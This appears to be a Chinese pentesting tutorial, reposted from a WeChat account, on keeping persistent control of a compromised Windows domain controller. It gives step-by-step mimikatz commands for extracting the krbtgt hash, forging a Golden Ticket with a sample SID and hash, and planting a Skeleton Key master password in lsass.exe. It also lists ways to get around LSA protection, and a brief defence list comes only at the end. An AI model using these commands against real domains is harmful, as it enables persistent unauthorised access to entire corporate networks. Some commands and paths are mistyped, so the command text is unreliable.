域控权限维持(上)
在我们取得域控账号密码后,防止密码被改失去权限会使用隐蔽后门一系列手段来维持我们取得的域控权限。把恶意文件放在Windows启动项目录中是最简单的方式,但是隐蔽性差,较主流的域控权限维持方法通常有三种,本篇讲第一二种Golden Ticket,Skeleton Key。
Golden Ticket
Golden Ticket(黄金票据) 黄金票据是伪造票据授予票据(TGT)也被称为认证票据。mimikatz工具把Golden Ticket的这种特性称为“万能票据。
Krbtgt账号用来创建票据授予服务加密的密钥,该账号在创建域控制器时由系统自动创建,并且其密码随机分配。Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
利用krbtgt用户和Hash伪造票据授予票据(TGT),冒充任意用户身份无限制地访问整个域中的机器且还可以提升为域管理员。
黄金票据的条件要求:
1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]
2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
接下来,我们对Golden Ticket进行利用测试。这里域控制器为 Server 2008 R2 Sp1 192.168.239.138 dc.pentestlab.com,域内主机为Server 2008 R2 192.168.239.133 zhangsan-pc.pentestlab.com。具体步骤如下。
1.域管理
net group "domain admins" /domain
查找域管理员执行效果如下
2.域SID
执行 whoami /user 命令,删除结果中SID的最后部分,获取域SID得到的效果如下。如果我们有PsTools,那么也可以使用PsGetsid.exe获取SID。
3.NTLM Hash
获取krbtgt账户的NTLM Hash需要拥有访问域控制器的权限。使用交互方式或远程方式登录域控制器后,使用mimikatz来提取krbtgt账户的NTLM Hash命令如下:
privilege::debug
mimikatz # lsadump::1sa /inject /name:krbtgt
或者
mimikatz # 1sadump::dcsync /domain.pentestlab.com /user:krbtgt
获取krbtgt账户信息执行效果如下。
4.Pass-the-Ticket攻击
伪造Golden Ticket进行Pass-the-Ticket攻击,伪造项主要包括以下3个。
1.Domain:pentestlab.com
2.SID:S-1-5-21-2540170591-2917293557-2322194170
3.Hash:d1dd822b253f64cba7163e0509219d33
生成需要模拟用户的票据。以模拟域管理admin用户为例,执行的命令如下:
mimikatz # kerberos::golden /user:admin /domain:pentestlab.com /sid:S-1-5-21-2540170591-2917293557-2322194170 /krbtgt:d1dd822b253f64cba7163e0509219d33 /admin:admin.tck /ptt
生成admin用户的票据,执行效果如下。
5.验证成功
测试获得的域管理权限,相关命令如下:
dir \dc.pentestlab.comc$
P**ec.exe \dc.pentestlab.com cmd.exe
访问C盘目录文件,执行效果分别如下。
以域管理权限执行cmd.exe,执行效果分别如下。
在我们拿到域控账号密码后,为了防止密码被改,需要使用隐蔽后门等手段来维持我们取得的域控权限。将二进制文件放在Windows启动项目录中是最简单的方式,但是隐蔽性差,较主流的域控权限维持方法通常有三种,本篇讲第二种Skeleton Key。
Skeleton Key
Skeleton Key与上篇Golden Ticket均不需要域控重启即能生效。Skeleton Key被安装在64位的域控服务器上,支持Windows Server2003到Windows Server2012 R2,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,这里需要注意的是重启将失效。其被称为万能钥匙,是一种域控制器权限维持工具。它无须破解域用户的任何密码,进行此攻击时,需要运行在64位操作系统的域控制器中并且拥有域管理员权限。
我们在域控制器上运行mimikatz.exe,执行 mimikatz # misc::skeleton 命令,这会将Kerberos加密降级到RC4_HMAC_MD5,并以内存更新的方式将主密码修补到 lsass.exe 进程,mimikatz的默认Skeleton Key设置为mimikatz,使用主机名链接。这使得所有用户可同时使用万能钥匙修补DC使用"主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。
1.域环境
域控制器:
-
主机名:dc.pentestlab.com
-
系统版本:Server 2008 R2 Sp1
-
IP地址:192.168.239.138
-
用户名:admin
-
密码:1qaz#EDC
域成员服务器:
-
主机名:zhangsan-pc.pentestlab.com
-
系统版本:Server 2008 R2 Sp1
-
IP地址:192.168.239.133
-
用户名:zhangsan
-
密码:1qaz!QAZ
2.LSA Protection
从Windows 8.1(和Server 2012 R2)开始,Microsoft引入了一项称为LSA保护的功能。此功能基于PPL技术,它是一种纵深防御的安全功能,旨在“防止非管理员非PPL进程通过打开进程之类的函数串改PPL进程的代码和数据”。防止对进程 lsass.exe 的代码注入,这样一来就无法使用 mimikatz 对 lsass.exe 进行注入相关操作也会失败。开启LSA保护策略操作如下图所示。
但是LSA保护不能完全抵御这些攻击,它让Mimikatz提取凭证变得更困难一些。域控存在LSA保护时,攻击者需要做一些额外的操作攻击者有几种选择:
-
删除RunAsPPL注册表项并重新启动(这可能是最糟糕的方法,因为您将丢失内存中的所有凭据)
-
通过修改EPROCESS内核结构,在LSASS进程上禁用PPL标志。
-
直接读取LSASS过程存储器的内容,而不使用打开的过程函数。
3.注意事项
-
内存攻击技术,域控制器重新启动后,主密码将失效,这时需重新执行攻击。
-
Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限。
-
对于Server 2012 R2以上系统版本,需要mimidrv.sys文件。
4.安装Key
在域控制器上安装Skeleton Key,相关命令如下:
minikatz # privilege::debug
mimikatz # misc::skeleton
在域控制器上安装Skeleton Key,执行效果如下图所示。
5.验证成功
域内主机使用Skeleton Key登录。此时不需要知道域管理员admin密码,使用主密码mimikatz即可建立磁盘映射,查看域控制器中C盘的文件。执行的命令如下:
net use \dc.pentestlab.com mimikatz /user:admin
dir \dc.pentestlab.comc$
查看域控C盘目录文件执行效果如下图所示。
如果想更改主密码mimikatz为其他密码,可以自行修改mimikatz源码中的Skeleton Key模块。
6.防御措施
-
重启服务器,使得被注入到 lsass.exe 进程主密码失效。
-
域管理员用户要设置强密码,确保恶意代码不会在域控制器中执行。
-
在所有域用户中启用双因子认证,例如智能卡认证。
-
启动应用程序白名单(例如 AppLocker),以限制 mimikatz 在域控制器中的运行。
本文始发于微信公众号(疯猫网络):域控权限维持(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论